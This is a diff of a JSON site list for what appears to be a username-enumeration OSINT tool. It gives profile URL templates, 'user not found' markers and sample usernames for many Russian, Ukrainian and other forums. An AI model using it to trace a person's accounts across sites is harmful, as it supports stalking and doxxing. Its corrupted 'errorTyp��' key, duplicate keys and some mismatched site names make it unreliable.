"Forum_pro-zarabotok": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "http://pro-zarabotok.su/index/8-0-{}", + "urlMain": "http://pro-zarabotok.su", + "usernameON": "grusakpavel", + "comments": "bad", + "bad_site": 1 + }, + "Forum_pro100warezz": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403", + "errorTyp��": "message", + "url": "https://pro100warezz.ucoz.ru/index/8-0-{}", + "urlMain": "https://pro100warezz.ucoz.ru", + "usernameON": "jasurbekvideo1987", + "bad_site": "", + "exclusion": "\\W" + }, + "Forum_probiv": { + "country": "🇷🇺", + "country_klas": "RU", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-я-А-Я]", + "url": "https://probiv.cc/members/?username={}", + "urlMain": "https://probiv.cc", + "usernameON": "Valerun", + "bad_site": "", + "headers": { + "User-Agent": "curl/8.11.0" + } + }, + "Forum_prodigy": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "<title>403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://prodigy.moy.su/index/8-0-{}", + "urlMain": "https://prodigy.moy.su", + "usernameON": "Jap", + "bad_site": "" + }, + "Forum_prodjex": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "0 results", + "errorMsg2": "| Cloudflare", + "errorMsg3": "Please wait", + "errorTyp��": "message", + "url": "https://forums.prodjex.com/search/?q={}&quick=1&type=core_members", + "urlMain": "https://forums.prodjex.com", + "usernameON": "shriyanshi", + "bad_site": "" + }, + "Forum_proekt-gaz": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "http://proekt-gaz.ru/index/8-0-{}", + "urlMain": "http://proekt-gaz.ru", + "usernameON": "gaspar", + "bad_site": "" + }, + "Forum_proekt-ts-ow-wk": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "<title>403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://proekt-ts-ow-wk.ucoz.ru/index/8-0-{}", + "urlMain": "https://proekt-ts-ow-wk.ucoz.ru", + "usernameON": "demi", + "bad_site": "" + }, + "Forum_prof": { + "country": "🇷🇺", + "country_klas": "RU", + "exclusion": "[а-яА-Я]", + "errorMsg": "профиль забанен", + "errorMsg2": "tr><td colspan", + "errorMsg3": "| Cloudflare", + "errorTyp��": "message", + "url": "https://prof.forum24.ru/?32-{}", + "urlMain": "https://prof.forum24.ru", + "usernameON": "lahamar", + "bad_site": "" + }, + "Forum_prof-foto-video": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "<title>403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://prof-foto-video.ucoz.ru/index/8-0-{}", + "urlMain": "https://prof-foto-video.ucoz.ru", + "usernameON": "Montager", + "bad_site": "" + }, + "Forum_prof-rem-zona": { + "country": "🇺🇦", + "country_klas": "UA", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://prof-rem-zona.at.ua/index/8-0-{}", + "urlMain": "https://prof-rem-zona.at.ua", + "usernameON": "radopitopit0002", + "bad_site": "" + }, + "Forum_professionalmuscle": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://www.professionalmuscle.com/forums/index.php?members/&username={}", + "urlMain": "https://www.professionalmuscle.com", + "usernameON": "lk3", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_profile_astro": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "response_url", + "url": "https://profile.astro-seek.com/{}", + "urlMain": "https://profile.astro-seek.com", + "usernameON": "sduraybito", + "bad_site": "" + }, + "Forum_profootball": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://www.profootballforums.com/members/?username={}", + "urlMain": "https://www.profootballforums.com", + "usernameON": "rowdy", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_progagarin": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorMsg3": "едеральн", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "http://progagarin.ru/index/8-0-{}", + "urlMain": "http://progagarin.ru", + "usernameON": "Pol", + "bad_site": "" + }, + "Forum_prohashing": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "Information", + "errorMsg2": "Please wait", + "errorMsg3": "| Cloudflare", + "errorTyp��": "message", + "url": "https://forums.prohashing.com/search.php?keywords=&terms=all&author={}&sc=1&sf=all&sr=posts&sk=t&sd=d&st=0&ch=300&t=0&submit=Search", + "urlMain": "https://forums.prohashing.com", + "usernameON": "lewishamilton", + "bad_site": "" + }, + "Forum_project-ss": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "http://project-ss.ru/index/8-0-{}", + "urlMain": "http://project-ss.ru", + "usernameON": "oleg1980nik", + "comments": "bad", + "bad_site": 1 + }, + "Forum_projectpokemon": { + "country": "🇺🇸", + "country_klas": "US", + "errorMsg": "Found 0 results", + "errorMsg2": "There were no results for your search.", + "errorTyp��": "message", + "exclusion": "[а-яА-Я]", + "url": "https://projectpokemon.org/home/search/?q={}&quick=1&type=core_members", + "urlMain": "https://projectpokemon.org", + "usernameON": "insanenutter", + "bad_site": "" + }, + "Forum_prokireevsk": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "<title>403 Forbidden", + "errorMsg3": "едеральн", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "http://prokireevsk.ru/index/8-0-{}", + "urlMain": "http://prokireevsk.ru", + "usernameON": "WILDKATbjr", + "bad_site": "" + }, + "Forum_pron": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "http://pron.my1.ru/index/8-0-{}", + "urlMain": "http://pron.my1.ru/", + "usernameON": "Belryelug", + "bad_site": "" + }, + "Forum_propisnoy": { + "country": "🇷🇺", + "country_klas": "RU", + "exclusion": "[а-яА-Я]", + "errorMsg": "профиль забанен", + "errorMsg2": "tr>403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://prostoljud.my1.ru/index/8-0-{}", + "urlMain": "https://prostoljud.my1.ru", + "usernameON": "biblicalstudiesru", + "bad_site": "" + }, + "Forum_proxmox": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://forum.proxmox.com/members/?username={}", + "urlMain": "https://forum.proxmox.com", + "usernameON": "emunt6", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_pskovchess": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Подходящих тем или сообщений не найдено.", + "errorMsg2": "Информация", + "errorTyp��": "message", + "url": "https://forum.pskovchess.ru/search.php?keywords=&terms=all&author={}", + "urlMain": "https://forum.pskovchess.ru", + "usernameON": "shakh", + "bad_site": "" + }, + "Forum_psp-club": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "<title>403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://psp-club.ucoz.net/index/8-0-{}", + "urlMain": "https://psp-club.ucoz.net", + "usernameON": "swp", + "bad_site": "" + }, + "Forum_psp1": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorMsg3": "едеральн", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://psp1.do.am/index/8-0-{}", + "urlMain": "https://psp1.do.am", + "usernameON": "serg2037", + "bad_site": "" + }, + "Forum_psx-core": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://psx-core.ru/index/8-0-{}", + "urlMain": "https://psx-core.ru", + "usernameON": "pvc1", + "bad_site": "" + }, + "Forum_psxworld": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorMsg3": "едеральн", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "http://psxworld.ru/index/8-0-{}", + "urlMain": "http://psxworld.ru", + "usernameON": "majerock", + "bad_site": "" + }, + "Forum_psy-dv_org": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://psy-dv.org/index/8-0-{}", + "urlMain": "https://psy-dv.org", + "usernameON": "Michael", + "bad_site": "" + }, + "Forum_psych": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "Information", + "errorMsg2": "Please wait", + "errorMsg3": "| Cloudflare", + "errorTyp��": "message", + "url": "https://www.psychforums.com/search.php?keywords=&terms=all&author={}&sc=1&sf=all&sr=posts&sk=t&sd=d&st=0&ch=300&t=0&submit=Search", + "urlMain": "https://www.psychforums.com", + "usernameON": "adam", + "bad_site": "" + }, + "Forum_psyche": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "0 результатов", + "errorMsg2": "возникла проблема", + "errorMsg3": "Пожалуйста, подождите", + "errorTyp��": "message", + "url": "https://psyche.guru/forum/search/?q={}&quick=1&type=core_members", + "urlMain": "https://psyche.guru", + "usernameON": "red", + "bad_site": "" + }, + "Forum_psychobike": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://www.psychobike.com/members/?username={}", + "urlMain": "https://www.psychobike.com", + "usernameON": "streetfighterz", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_psystan": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "http://www.psystan.ru/index/8-0-{}", + "urlMain": "http://www.psystan.ru", + "usernameON": "Olsestar", + "bad_site": "" + }, + "Forum_pt_at": { + "country": "🇺🇦", + "country_klas": "UA", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://pt.at.ua/index/8-0-{}", + "urlMain": "https://pt.at.ua/", + "usernameON": "novator197726", + "bad_site": "" + }, + "Forum_punkgazetka": { + "country": "🇷🇺", + "country_klas": "RU", + "exclusion": "[а-яА-Я]", + "errorMsg": "профиль забанен", + "errorMsg2": "tr>http://forum.quake2.com.ru :: ", + "errorTyp��": "message", + "url": "https://forum.quake2.com.ru/profile.php?mode=viewprofile&u={}", + "urlMain": "https://forum.quake2.com.ru/", + "usernameON": "Khidalov", + "bad_site": "" + }, + "Forum_quakeworld": { + "country": "🌎", + "country_klas": "WR", + "exclusion": "\\W[а-яА-Я]", + "errorMsg": "not return any result. ", + "errorMsg2": "div class=\"table\" style=\"margin-bottom", + "errorMsg3": "Please wait", + "errorTyp��": "message", + "url": "https://www.quakeworld.nu/profiles/?u={}", + "urlMain": "https://www.quakeworld.nu", + "usernameON": "renzo", + "bad_site": "" + }, + "Forum_questionablequesting": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "The specified member cannot be found. Please enter a member's entire name.", + "errorMsg2": "NoneNone", + "errorTyp��": "message", + "url": "https://forum.questionablequesting.com/members/?username={}", + "urlMain": "https://forum.questionablequesting.com", + "usernameON": "adam", + "bad_site": "" + }, + "Forum_quik": { + "country": "🇷🇺", + "country_klas": "RU", + "errorTyp��": "status_code", + "url": "https://forum.quik.ru/user/{}/", + "urlMain": "https://forum.quik.ru", + "usernameON": "swerg", + "bad_site": "" + }, + "Forum_r1": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://www.r1-forum.com/members/?username={}", + "urlMain": "https://www.r1-forum.com", + "usernameON": "rabbit671", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_r3": { + "country": "🇨🇦", + "country_klas": "CA", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://www.r3-forums.com/members/?username={}", + "urlMain": "https://www.r3-forums.com", + "usernameON": "renboy", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_r4n": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Информация", + "errorMsg2": "сообщений не найдено", + "errorMsg3": "едеральн", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "http://r4n.su/forum/search.php?keywords=&terms=all&author={}&sc=1&sf=all&sr=posts&sk=t&sd=d&st=0&ch=300&t=0&submit=%D0%9F%D0%BE%D0%B8%D1%81%D0%BA", + "urlMain": "http://r4n.su", + "usernameON": "43Radio43", + "bad_site": "" + }, + "Forum_r4u": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorMsg3": "едеральн", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://r4u.ucoz.net/index/8-0-{}", + "urlMain": "https://r4u.ucoz.net", + "usernameON": "adqeep", + "bad_site": "" + }, + "Forum_r6": { + "country": "🇨🇦", + "country_klas": "CA", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://www.r6-forum.com/members/?username={}", + "urlMain": "https://www.r6-forum.com", + "usernameON": "tylerjones997", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_r8talk": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://www.r8talk.com/members/?username={}", + "urlMain": "https://www.r8talk.com", + "usernameON": "stevekcropper", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_ra1afe": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://ra1afe.ucoz.ru/index/8-0-{}", + "urlMain": "https://ra1afe.ucoz.ru", + "usernameON": "Admin", + "bad_site": "" + }, + "Forum_ra4a": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "http://ra4a.ru/index/8-0-{}", + "urlMain": "http://ra4a.ru", + "usernameON": "Admin", + "bad_site": "" + }, + "Forum_rabbitdogs": { + "country": "🇺🇸", + "country_klas": "US", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://www.rabbitdogs.net/members/?username={}", + "urlMain": "https://www.rabbitdogs.net", + "usernameON": "bigk", + "bad_site": "", + "headers": { + "User-Agent": "curl/8.11.0" + } + }, + "Forum_racefans": { + "country": "🇬🇧", + "country_klas": "GB", + "exclusion": "\\W[а-яА-Я]", + "errorMsg": "You've crashed", + "errorMsg2": "One moment", + "errorTyp��": "message", + "url": "https://www.racefans.net/members/{}/", + "urlMain": "https://www.racefans.net", + "usernameON": "douglaswebster", + "bad_site": "" + }, + "Forum_racer": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "<title>403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://racer.do.am/index/8-0-{}", + "urlMain": "https://racer.do.am", + "usernameON": "Jessika", + "bad_site": "" + }, + "Forum_racketboy": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "Information", + "errorMsg2": "| Cloudflare", + "errorMsg3": "Please wait", + "errorTyp��": "message", + "url": "https://www.racketboy.com/forum/search.php?keywords=&terms=all&author={}&sc=1&sf=all&sr=posts&sk=t&sd=d&st=0&ch=300&t=0&submit=Search", + "urlMain": "https://www.racketboy.com", + "usernameON": "Limewater", + "bad_site": "" + }, + "Forum_radio1": { + "country": "🇷🇺", + "country_klas": "RU", + "exclusion": "[а-яА-Я]", + "errorMsg": "профиль забанен", + "errorMsg2": "tr>403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "http://www.radiodom.org/index/8-0-{}", + "urlMain": "http://www.radiodom.org", + "usernameON": "Andrew", + "bad_site": "" + }, + "Forum_radiotehnik72": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://radiotehnik72.ucoz.ru/index/8-0-{}", + "urlMain": "https://radiotehnik72.ucoz.ru", + "usernameON": "akhmalik72", + "bad_site": "" + }, + "Forum_rainbowhappy": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "url": "https://rainbowhappy.ucoz.ru/index/8-0-{}", + "urlMain": "https://rainbowhappy.ucoz.ru", + "usernameON": "FrankMate", + "bad_site": "", + "exclusion": "\\W" + }, + "Forum_rainmeter": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "No suitable matches were found.", + "errorMsg2": "Information", + "errorMsg3": "| Cloudflare", + "errorTyp��": "message", + "url": "https://forum.rainmeter.net/search.php?keywords=&terms=all&author={}&sc=1&sf=all&sr=posts&sk=t&sd=d&st=0&ch=300&t=0&submit=Search", + "urlMain": "https://forum.rainmeter.net", + "usernameON": "Jeff", + "bad_site": "" + }, + "Forum_rakesh-jhunjhunwala": { + "country": "🇮🇳", + "country_klas": "IN", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://rakesh-jhunjhunwala.in/forum/members/?username={}", + "urlMain": "https://rakesh-jhunjhunwala.in", + "usernameON": "arjun", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_raks": { + "country": "🇺🇦", + "country_klas": "UA", + "errorMsg": "Подходящих тем или сообщений не найдено.", + "errorMsg2": "Пожалуйста, подождите", + "errorMsg3": "| Cloudflare", + "errorTyp��": "message", + "url": "https://raks.com.ua/forum/search.php?keywords=&terms=all&author={}&sc=1&sf=all&sk=t&sd=d&sr=posts&st=0&ch=300&t=0&submit=%D0%9F%D0%BE%D0%B8%D1%81%D0%BA", + "urlMain": "https://raks.com.ua", + "usernameON": "irina", + "bad_site": "" + }, + "Forum_rakursy": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorMsg3": "едеральн", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://rakursy.ucoz.ru/index/8-0-{}", + "urlMain": "https://rakursy.ucoz.ru", + "usernameON": "Schoroch", + "bad_site": "" + }, + "Forum_rakwireless": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "status_code", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://forum.rakwireless.com/u/{}/summary", + "urlMain": "https://forum.rakwireless.com", + "usernameON": "hobo", + "bad_site": "" + }, + "Forum_ram1500diesel": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://www.ram1500diesel.com/members/?username={}", + "urlMain": "https://www.ram1500diesel.com", + "usernameON": "kazimodo", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_ramenskoe1": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorMsg3": "едеральн", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://ramenskoe1.ucoz.ru/index/8-0-{}", + "urlMain": "https://ramenskoe1.ucoz.ru", + "usernameON": "gorodisskyru", + "bad_site": "" + }, + "Forum_ranobes": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "0 результатов", + "errorMsg2": "Just a moment", + "errorMsg3": "| Cloudflare", + "errorTyp��": "message", + "url": "https://forum.ranobes.com/search/?q={}&quick=1&type=core_members", + "urlMain": "https://forum.ranobes.com", + "comments": "cf", + "usernameON": "Jaeri", + "bad_site": "" + }, + "Forum_rarib": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "DDOS-GUARD</title", + "errorMsg2": "Информация", + "errorMsg3": "технические работы", + "errorTyp��": "message", + "url": "https://forum.rarib.ru/search.php?keywords=&terms=all&author={}&sc=1&sf=all&sr=posts&sk=t&sd=d&st=0&ch=300&t=0&submit=Поиск", + "urlMain": "https://forum.rarib.ag", + "usernameON": "kokky", + "bad_site": "" + }, + "Forum_rasmircoins": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://rasmircoins.ucoz.ru/index/8-0-{}", + "urlMain": "https://rasmircoins.ucoz.ru/", + "usernameON": "Faghouri", + "bad_site": "" + }, + "Forum_raspberrypi": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "No suitable matches were found.", + "errorMsg2": "| Cloudflare", + "errorMsg3": "Just a moment", + "errorTyp��": "message", + "url": "https://forums.raspberrypi.com/search.php?keywords=&terms=all&author={}&sc=1&sf=all&sr=posts&sk=t&sd=d&st=0&ch=300&t=0&submit=Search", + "urlMain": "https://forums.raspberrypi.com", + "usernameON": "adam", + "comments": "cf", + "ignore_status_code": true, + "bad_site": "" + }, + "Forum_ratsun": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "0 results", + "errorMsg2": "Please wait", + "errorMsg3": "| Cloudflare", + "errorTyp��": "message", + "url": "https://ratsun.net/search/?q={}&quick=1&type=core_members", + "urlMain": "https://ratsun.net", + "usernameON": "datzenmike", + "bad_site": "" + }, + "Forum_ravnovesie": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorMsg3": "едеральн", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://ravnovesie.ucoz.net/index/8-0-{}", + "urlMain": "https://ravnovesie.ucoz.net", + "usernameON": "Светлана", + "bad_site": "" + }, + "Forum_ray": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "status_code", + "exclusion": "[а-яА-Я]", + "url": "https://discuss.ray.io/u/{}/summary", + "urlMain": "https://discuss.ray.io", + "usernameON": "Lacruche", + "bad_site": "" + }, + "Forum_rayven": { + "country": "🇺🇦", + "country_klas": "UA", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://rayven.at.ua/index/8-0-{}", + "urlMain": "https://rayven.at.ua/", + "usernameON": "rayven", + "bad_site": "" + }, + "Forum_raznoe-vse": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://raznoe-vse.ucoz.ru/index/8-0-{}", + "urlMain": "https://raznoe-vse.ucoz.ru", + "usernameON": "egorsmirnowv", + "bad_site": "" + }, + "Forum_razrab": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Подходящих тем или сообщений не найдено.", + "errorMsg2": "Информация", + "errorTyp��": "message", + "url": "http://razrab.ru/search.php?keywords=&terms=all&author={}", + "urlMain": "http://razrab.ru", + "usernameON": "ibev", + "bad_site": "" + }, + "Forum_razvilka": { + "country": "🇷🇺", + "country_klas": "RU", + "exclusion": "[а-яА-Я]", + "errorMsg": "профиль забанен", + "errorMsg2": "tr>403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://rbk-portal.3dn.ru/index/8-0-{}", + "urlMain": "https://rbk-portal.3dn.ru", + "usernameON": "BeLoNe", + "bad_site": "" + }, + "Forum_rclone": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "status_code", + "exclusion": "[а-яА-Я]", + "url": "https://forum.rclone.org/u/{}", + "urlMain": "https://forum.rclone.org", + "usernameON": "Alexander_Andriishin", + "bad_site": "" + }, + "Forum_rdr2": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "0 results", + "errorMsg2": "Please wait", + "errorMsg3": "| Cloudflare", + "errorTyp��": "message", + "url": "https://www.rdr2.org/forums/search/?q={}&quick=1&type=core_members", + "urlMain": "https://www.rdr2.org", + "usernameON": "Parzival", + "bad_site": "" + }, + "Forum_rdw": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403", + "errorTyp��": "message", + "url": "https://rdw.ucoz.ru/index/8-0-{}", + "urlMain": "https://rdw.ucoz.ru", + "usernameON": "jabbarhuusaincs", + "bad_site": "", + "exclusion": "\\W" + }, + "Forum_real-sp": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "<title>403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://real-sp.ucoz.com/index/8-0-{}", + "urlMain": "https://real-sp.ucoz.com", + "usernameON": "Yuriysap", + "bad_site": "" + }, + "Forum_realistzoosafety": { + "country": "🇷🇺", + "country_klas": "RU", + "exclusion": "[а-яА-Я]", + "errorMsg": "профиль забанен", + "errorMsg2": "tr>", + "errorMsg3": "banned", + "errorTyp��": "message", + "url": "https://forum.realsurf.com/forums/search.php?keywords=&terms=all&author={}&sc=1&sf=all&sr=posts&sk=t&sd=d&st=0&ch=300&t=0&submit=Search", + "urlMain": "https://forum.realsurf.com", + "usernameON": "admin", + "comments": "RUblock", + "bad_site": "" + }, + "Forum_rebkell": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "Sorry,", + "errorMsg2": "| Cloudflare", + "errorMsg3": "Critical Error", + "errorTyp��": "message", + "url": "https://boards.rebkell.net/profile.php?mode=viewprofile&u={}", + "urlMain": "https://boards.rebkell.net", + "usernameON": "rebkell", + "bad_site": "" + }, + "Forum_rebornbuddy": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "redirection", + "exclusion": "[а-яА-Я]", + "url": "https://rebornbuddy.com/xf/members/?username={}", + "urlMain": "https://rebornbuddy.com/", + "usernameON": "tony", + "bad_site": "", + "headers": { + "User-Agent": "curl/8.11.0" + } + }, + "Forum_recoveryRU": { + "country": "🇷🇺", + "country_klas": "RU", + "exclusion": "[а-яА-Я]", + "errorMsg": "профиль забанен", + "errorMsg2": "tr>403 Forbidden", + "errorMsg3": "едеральн", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://region13.ucoz.ru/index/8-0-{}", + "urlMain": "https://region13.ucoz.ru", + "usernameON": "VVS15081", + "bad_site": "" + }, + "Forum_reiki-healing": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorMsg3": "едеральн", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "http://reiki-healing-l.org/index/8-0-{}", + "urlMain": "http://reiki-healing-l.org", + "usernameON": "YaIrina1993", + "bad_site": "" + }, + "Forum_reklama-kiev": { + "country": "🇺🇦", + "country_klas": "UA", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403", + "errorTyp��": "message", + "url": "https://reklama-kiev.at.ua/index/8-0-{}", + "urlMain": "https://reklama-kiev.at.ua", + "usernameON": "dsgvolia", + "bad_site": "", + "exclusion": "\\W" + }, + "Forum_relationlibre": { + "country": "🇫🇷", + "country_klas": "FR", + "errorTyp��": "status_code", + "exclusion": "[а-яА-Я]", + "url": "https://relationlibre.com/participant/{}/", + "urlMain": "https://relationlibre.com", + "usernameON": "laeti", + "bad_site": "" + }, + "Forum_relax-kei": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "<title>403 Forbidden", + "errorMsg3": "едеральн", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://relax-kei.ucoz.ru/index/8-0-{}", + "urlMain": "https://relax-kei.ucoz.ru", + "usernameON": "ztaletnted", + "bad_site": "" + }, + "Forum_religion": { + "country": "🇫🇷", + "country_klas": "FR", + "errorMsg": "Aucun membre trouvé pour ce critère de recherche", + "errorMsg2": "Please wait", + "errorMsg3": "| Cloudflare", + "errorTyp��": "message", + "url": "https://forum-religion.org/memberlist.php?username={}", + "urlMain": "https://forum-religion.org", + "usernameON": "Georges86", + "bad_site": "" + }, + "Forum_religion_s": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorMsg3": "едеральн", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://religion.ucoz.ru/index/8-0-{}", + "urlMain": "https://religion.ucoz.ru", + "usernameON": "ArthurHip", + "bad_site": "" + }, + "Forum_rem-tv": { + "country": "🇺🇦", + "country_klas": "UA", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://rem-tv.at.ua/index/8-0-{}", + "urlMain": "https://rem-tv.at.ua", + "usernameON": "fanttom", + "bad_site": "" + }, + 